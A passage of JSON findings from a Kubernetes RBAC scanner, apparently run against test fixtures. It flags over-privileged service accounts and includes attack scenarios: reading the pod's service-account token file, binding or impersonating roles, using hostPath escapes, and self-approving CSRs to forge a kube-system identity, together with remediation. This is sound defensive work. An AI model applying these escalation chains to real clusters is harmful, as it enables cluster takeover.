    "impact": "Compromise of any workload using `ServiceAccount/foothold-exec/foothold-decoy-sa` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/foothold-exec/foothold-decoy`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) directly. The token already authenticates as `ServiceAccount/foothold-exec/foothold-decoy-sa`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "secrets (cluster)",
        "create pods (cluster)",
        "mutate workloads (cluster)",
        "bind roles (cluster)",
        "bind/escalate (cluster)",
        "impersonate (cluster)",
        "nodes/proxy (cluster)"
      ],
      "rules": [
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "foothold-decoy-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": null,
          "namespace": "",
          "resource_names": null,
          "resources": null,
          "source_binding": "foothold-decoy-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "foothold-decoy",
          "namespace": "foothold-exec"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/foothold-exec/foothold-decoy-sa` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/foothold-exec/foothold-decoy) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/foothold-exec/foothold-decoy-sa` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/rbac-fixtures/sa-impersonate",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "CRITICAL",
    "score": 9.1,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-impersonate` is mounted by live workloads and has dangerous permissions: impersonate (cluster)",
    "description": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-impersonate` carries one or more dangerous RBAC capabilities (impersonate (cluster)) *and* is actively mounted by workloads (Pod/rbac-fixtures/imp-app-5f78d6bb9d-tqxvr, Deployment/rbac-fixtures/imp-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/rbac-fixtures/imp-app-5f78d6bb9d-tqxvr, Deployment/rbac-fixtures/imp-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-impersonate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "sa-impersonate",
      "namespace": "rbac-fixtures"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `rbac-fixtures/sa-impersonate`: namespace-scoped subject; mounted by pods in `rbac-fixtures`"
    },
    "impact": "Compromise of any workload using `ServiceAccount/rbac-fixtures/sa-impersonate` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/rbac-fixtures/imp-app-5f78d6bb9d-tqxvr, Deployment/rbac-fixtures/imp-app`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (impersonate (cluster)) directly. The token already authenticates as `ServiceAccount/rbac-fixtures/sa-impersonate`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "impersonate (cluster)"
      ],
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "groups"
          ],
          "source_binding": "crb-impersonate",
          "source_role": "cr-impersonate",
          "verbs": [
            "impersonate"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "imp-app-5f78d6bb9d-tqxvr",
          "namespace": "rbac-fixtures"
        },
        {
          "kind": "Deployment",
          "name": "imp-app",
          "namespace": "rbac-fixtures"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/rbac-fixtures/sa-impersonate` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/rbac-fixtures/imp-app-5f78d6bb9d-tqxvr, Deployment/rbac-fixtures/imp-app) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/rbac-fixtures/sa-impersonate` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/rbac-fixtures/sa-wildcard",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "CRITICAL",
    "score": 9.1,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-wildcard` is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)",
    "description": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-wildcard` carries one or more dangerous RBAC capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) *and* is actively mounted by workloads (Pod/rbac-fixtures/wildcard-app-85ff74597d-vjhw7, Deployment/rbac-fixtures/wildcard-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/rbac-fixtures/wildcard-app-85ff74597d-vjhw7, Deployment/rbac-fixtures/wildcard-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `rbac-fixtures/sa-wildcard`: namespace-scoped subject; mounted by pods in `rbac-fixtures`"
    },
    "impact": "Compromise of any workload using `ServiceAccount/rbac-fixtures/sa-wildcard` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/rbac-fixtures/wildcard-app-85ff74597d-vjhw7, Deployment/rbac-fixtures/wildcard-app`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) directly. The token already authenticates as `ServiceAccount/rbac-fixtures/sa-wildcard`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "secrets (cluster)",
        "create pods (cluster)",
        "mutate workloads (cluster)",
        "bind roles (cluster)",
        "bind/escalate (cluster)",
        "impersonate (cluster)",
        "nodes/proxy (cluster)"
      ],
      "rules": [
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "crb-wildcard",
          "source_role": "cr-wildcard",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "wildcard-app-85ff74597d-vjhw7",
          "namespace": "rbac-fixtures"
        },
        {
          "kind": "Deployment",
          "name": "wildcard-app",
          "namespace": "rbac-fixtures"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/rbac-fixtures/sa-wildcard` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/rbac-fixtures/wildcard-app-85ff74597d-vjhw7, Deployment/rbac-fixtures/wildcard-app) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/rbac-fixtures/sa-wildcard` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/privesc-fixtures/sa-ephemeral:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 9.049999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/csr-fixtures/sa-csr-mint` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint\n  2. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-ephemeral`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/csr-fixtures/sa-csr-mint` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "ephemeral_container_inject",
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/privesc-fixtures/sa-pod-exec:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 9.049999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/csr-fixtures/sa-csr-mint` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount csr-fixtures/sa-csr-mint\n  2. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
